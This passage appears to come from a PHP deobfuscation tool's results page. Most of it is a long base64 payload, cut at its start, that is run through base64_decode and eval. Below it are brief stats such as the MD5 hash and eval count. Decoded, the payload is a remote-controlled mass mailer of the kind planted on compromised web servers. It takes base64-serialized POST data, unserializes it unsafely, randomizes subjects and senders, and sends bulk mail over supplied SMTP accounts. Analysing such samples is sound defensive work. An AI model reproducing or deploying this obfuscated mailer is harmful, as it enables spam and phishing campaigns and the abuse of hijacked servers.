wdGlvbiBleHRlbmRzIEV4Y2VwdGlvbiB7CiAgcHVibGljIGZ1bmN0aW9uIGVycm9yTWVzc2FnZSgpIHsKICAgICRlcnJvck1zZyA9ICc8c3Ryb25nPicgLiAkdGhpcy0+Z2V0TWVzc2FnZSgpIC4gIjwvc3Ryb25nPjxiciAvPlxuIjsKICAgIHJldHVybiAkZXJyb3JNc2c7CiAgfQp9CgovLyBtYWNyb2NlcyAvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmZ1bmN0aW9uIGFsdGVyX21hY3JvcygkY29udGVudCkKewogICAgcHJlZ19tYXRjaF9hbGwoJyN7KC4qKX0jVWknLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMV0pOyAkaSsrKQogICAgewoKICAgICAgICAkbnMgPSBleHBsb2RlKCJ8IiwgJG1hdGNoZXNbMV1bJGldKTsKICAgICAgICAkYzIgPSBjb3VudCgkbnMpOwogICAgICAgICRyYW5kID0gcmFuZCgwLCAoJGMyIC0gMSkpOwogICAgICAgICRjb250ZW50ID0gc3RyX3JlcGxhY2UoInsiLiRtYXRjaGVzWzFdWyRpXS4ifSIsICRuc1skcmFuZF0sICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gdGV4dF9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtURVhUXC0oW1s6ZGlnaXQ6XV0rKVwtKFtbOmRpZ2l0Ol1dKylcXSMnLCAkY29udGVudCwgJG1hdGNoZXMpOwoKICAgIGZvcigkaSA9IDA7ICRpIDwgY291bnQoJG1hdGNoZXNbMF0pOyAkaSsrKQogICAgewogICAgICAgICRtaW4gPSAkbWF0Y2hlc1sxXVskaV07CiAgICAgICAgJG1heCA9ICRtYXRjaGVzWzJdWyRpXTsKICAgICAgICAkcmFuZCA9IHJhbmQoJG1pbiwgJG1heCk7CiAgICAgICAgJHdvcmQgPSBnZW5lcmF0ZV93b3JkKCRyYW5kKTsKCiAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoIi8iLnByZWdfcXVvdGUoJG1hdGNoZXNbMF1bJGldKS4iLyIsICR3b3JkLCAkY29udGVudCwgMSk7CiAgICB9CgogICAgcHJlZ19tYXRjaF9hbGwoJyNcW1RFWFRcLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkY291bnQgPSAkbWF0Y2hlc1sxXVskaV07CgogICAgICAgICR3b3JkICA9IGdlbmVyYXRlX3dvcmQoJGNvdW50KTsKCiAgICAgICAgJGNvbnRlbnQgPSBwcmVnX3JlcGxhY2UoIi8iLnByZWdfcXVvdGUoJG1hdGNoZXNbMF1bJGldKS4iLyIsICR3b3JkLCAkY29udGVudCwgMSk7CiAgICB9CgoKICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24geG51bV9tYWNyb3MoJGNvbnRlbnQpCnsKICAgIHByZWdfbWF0Y2hfYWxsKCcjXFtOVU1cLShbWzpkaWdpdDpdXSspXF0jJywgJGNvbnRlbnQsICRtYXRjaGVzKTsKCiAgICBmb3IoJGkgPSAwOyAkaSA8IGNvdW50KCRtYXRjaGVzWzBdKTsgJGkrKykKICAgIHsKICAgICAgICAkbnVtID0gJG1hdGNoZXNbMV1bJGldOwogICAgICAgICRtaW4gPSBwb3coMTAsICRudW0gLSAxKTsKICAgICAgICAkbWF4ID0gcG93KDEwLCAkbnVtKSAtIDE7CgogICAgICAgICRyYW5kID0gcmFuZCgkbWluLCAkbWF4KTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwgJHJhbmQsICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gbnVtX21hY3JvcygkY29udGVudCkKewogICAgcHJlZ19tYXRjaF9hbGwoJyNcW1JBTkRcLShbWzpkaWdpdDpdXSspXC0oW1s6ZGlnaXQ6XV0rKVxdIycsICRjb250ZW50LCAkbWF0Y2hlcyk7CgogICAgZm9yKCRpID0gMDsgJGkgPCBjb3VudCgkbWF0Y2hlc1swXSk7ICRpKyspCiAgICB7CiAgICAgICAgJG1pbiA9ICRtYXRjaGVzWzFdWyRpXTsKICAgICAgICAkbWF4ID0gJG1hdGNoZXNbMl1bJGldOwogICAgICAgICRyYW5kID0gcmFuZCgkbWluLCAkbWF4KTsKICAgICAgICAkY29udGVudCA9IHN0cl9yZXBsYWNlKCRtYXRjaGVzWzBdWyRpXSwgJHJhbmQsICRjb250ZW50KTsKICAgIH0KICAgIHJldHVybiAkY29udGVudDsKfQoKZnVuY3Rpb24gZ2VuZXJhdGVfd29yZCgkbGVuZ3RoKQp7CiAgICAkY2hhcnMgPSAnYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnl4eic7CiAgICAkbnVtQ2hhcnMgPSBzdHJsZW4oJGNoYXJzKTsKICAgICRzdHJpbmcgPSAnJzsKICAgIGZvcigkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykKICAgIHsKICAgICAgICAkc3RyaW5nIC49IHN1YnN0cigkY2hhcnMsIHJhbmQoMSwgJG51bUNoYXJzKSAtIDEsIDEpOwogICAgfQogICAgcmV0dXJuICRzdHJpbmc7Cn0KCmZ1bmN0aW9uIHBhc3NfbWFjcm9zKCRjb250ZW50LCAkcGFzc2VzKQp7CiAgICAkcGFzcyA9IGFycmF5X3BvcCgkcGFzc2VzKTsKICAgIAogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJbUEFTU10iLCAkcGFzcywgJGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBmdGVpbF9tYWNyb3MoJGNvbnRlbnQsICRmdGVpbCkKeyAgICAKICAgIHJldHVybiBzdHJfcmVwbGFjZSgiW0ZURUlMXSIsICRmdGVpbCwgJGNvbnRlbnQpOwp9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKCmZ1bmN0aW9uIHNlbmRTbXRwTWFpbCggJGhvc3QsICRwb3J0LCAkbG9naW4sICRwYXNzLCAkZnJvbSwgJG5hbWUsICR0bywgJHN1YmplY3QsICRib2R5ICkKewoJdHJ5Cgl7CgkJJG1haWwgPSBuZXcgUEhQTWFpbGVyKHRydWUpOwoJCSRtYWlsLT5Jc1NNVFAoKTsKCQkkbWFpbC0+SG9zdCAgICAgICA9ICRob3N0OwoJCSRtYWlsLT5Qb3J0ICAgICAgID0gJHBvcnQ7CgkJCgkJaWYgKCRwb3J0ID09IDU4NykKCQl7CgkJCSRtYWlsLT5TTVRQU2VjdXJlID0gJ3Rscyc7CgkJfQoJCWVsc2VpZigkcG9ydCA9PSA0NjUpCgkJewoJCQkkbWFpbC0+U01UUFNlY3VyZSA9ICdzc2wnOwoJCX0KCQkKCQkkbWFpbC0+U01UUEF1dGggICA9IHRydWU7CgkJJG1haWwtPlVzZXJuYW1lICAgPSAkbG9naW47CgkJJG1haWwtPlBhc3N3b3JkICAgPSAkcGFzczsKCQkkbWFpbC0+U2V0RnJvbSgkZnJvbSwgJG5hbWUpOwoJCSRtYWlsLT5BZGRSZXBseVRvKCRmcm9tLCAkbmFtZSk7CgkJJG1haWwtPkFkZEFkZHJlc3MoJHRvKTsKCQkkbWFpbC0+U3ViamVjdCA9ICRzdWJqZWN0OwoJCSRtYWlsLT5Nc2dIVE1MKCRib2R5KTsKCgkJaWYgKCEkbWFpbC0+c2VuZCgpKQoJCXsKCQkJcmV0dXJuICRtYWlsLT5FcnJvckluZm87CgkJfQoJCWVsc2UKCQl7CgkJCXJldHVybiAwOwoJCX0KCX0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkKCXsKCQlyZXR1cm4gJG1haWwtPkVycm9ySW5mbzsNCgl9Cn0KCmlmIChpc3NldCgkX1BPU1RbInBpbmciXSkpCnsKICAgIGVjaG8gJF9QT1NUWyJwaW5nIl07CiAgICBleGl0KCk7Cn0KCmlmICghaXNzZXQoJF9QT1NUWyJlbWFpbHMiXSkgb3IgIWlzc2V0KCRfUE9TVFsidGhlbWVzIl0pIG9yICFpc3NldCgkX1BPU1RbIm1lc3NhZ2VzIl0pIG9yICFpc3NldCgkX1BPU1RbImZyb21zIl0pIG9yICFpc3NldCgkX1BPU1RbImFjYyJdKSkKewogICAgZXhpdCgpOwp9CgokZW1haWxzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJlbWFpbHMiXSkpOwokdGhlbWVzID0gQHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ0aGVtZXMiXSkpOwokbWVzc2FnZSA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsibWVzc2FnZXMiXSkpOwokZnJvbXMgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSgkX1BPU1RbImZyb21zIl0pKTsKJGFjYyA9IEB1bnNlcmlhbGl6ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsiYWNjIl0pKTsKCiRnb29kID0gMDsKJGJhZCA9IDA7CiRsYXN0X2Vycm9yID0gMDsKCmZvcmVhY2ggKCRlbWFpbHMgYXMgJHVpZD0+JGVtYWlsKQp7CiAgICAkdGhlbWUgPSAkdGhlbWVzW2FycmF5X3JhbmQoJHRoZW1lcyldOwoKICAgICR0aGVtZSA9IGFsdGVyX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gbnVtX21hY3JvcygkdGhlbWUpOwogICAgJHRoZW1lID0gdGV4dF9tYWNyb3MoJHRoZW1lKTsKICAgICR0aGVtZSA9IHhudW1fbWFjcm9zKCR0aGVtZSk7CgogICAgJG1lc3NhZ2UgPSBhbHRlcl9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSBudW1fbWFjcm9zKCRtZXNzYWdlKTsKICAgICRtZXNzYWdlID0gdGV4dF9tYWNyb3MoJG1lc3NhZ2UpOwogICAgJG1lc3NhZ2UgPSB4bnVtX21hY3JvcygkbWVzc2FnZSk7CiAgICAkbWVzc2FnZSA9IGZ0ZWlsX21hY3JvcygkbWVzc2FnZSwgJHVpZCk7CgogICAgJGZyb20gPSAkZnJvbXNbYXJyYXlfcmFuZCgkZnJvbXMpXTsKICAgICRmcm9tID0gYWx0ZXJfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0gbnVtX21hY3JvcygkZnJvbSk7CiAgICAkZnJvbSA9IHRleHRfbWFjcm9zKCRmcm9tKTsKICAgICRmcm9tID0geG51bV9tYWNyb3MoJGZyb20pOwoKICAgICRsYXN0X2Vycm9yID0gc2VuZFNtdHBNYWlsKCAkYWNjWzBdLCAkYWNjWzFdLCAkYWNjWzJdLCAkYWNjWzNdLCAkYWNjWzRdLCAkZnJvbSwgJGVtYWlsLCAkdGhlbWUsICRtZXNzYWdlKTsKCQoJaWYgKCRsYXN0X2Vycm9yID09PSAwKQoJewoJCSRnb29kKys7Cgl9CgllbHNlCgl7CgkJJGJhZCsrOwoJCSRnb29kID0gY291bnQoJGVtYWlscykgLSAkYmFkOwoJCWJyZWFrOwoJfQp9CgokcmVzWyJyZXN1bHQiXVsiZXJyb3JfdGV4dCJdID0gJGxhc3RfZXJyb3IgPT09IEZBTFNFID8gMCA6ICRsYXN0X2Vycm9yOwokcmVzWyJyZXN1bHQiXVsiZ29vZCJdID0gJGdvb2Q7CiRyZXNbInJlc3VsdCJdWyJiYWQiXSA9ICRiYWQ7CiRyZXNbInJlc3VsdCJdWyJjaGVjayJdID0gMTsKCmVjaG8gYmFzZTY0X2VuY29kZShzZXJpYWxpemUoJHJlcykpOwoKZXhpdCgpOw==')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 be8890edbf942ea277ef07e7070b696f
Eval Count 1
Decode Time 281 ms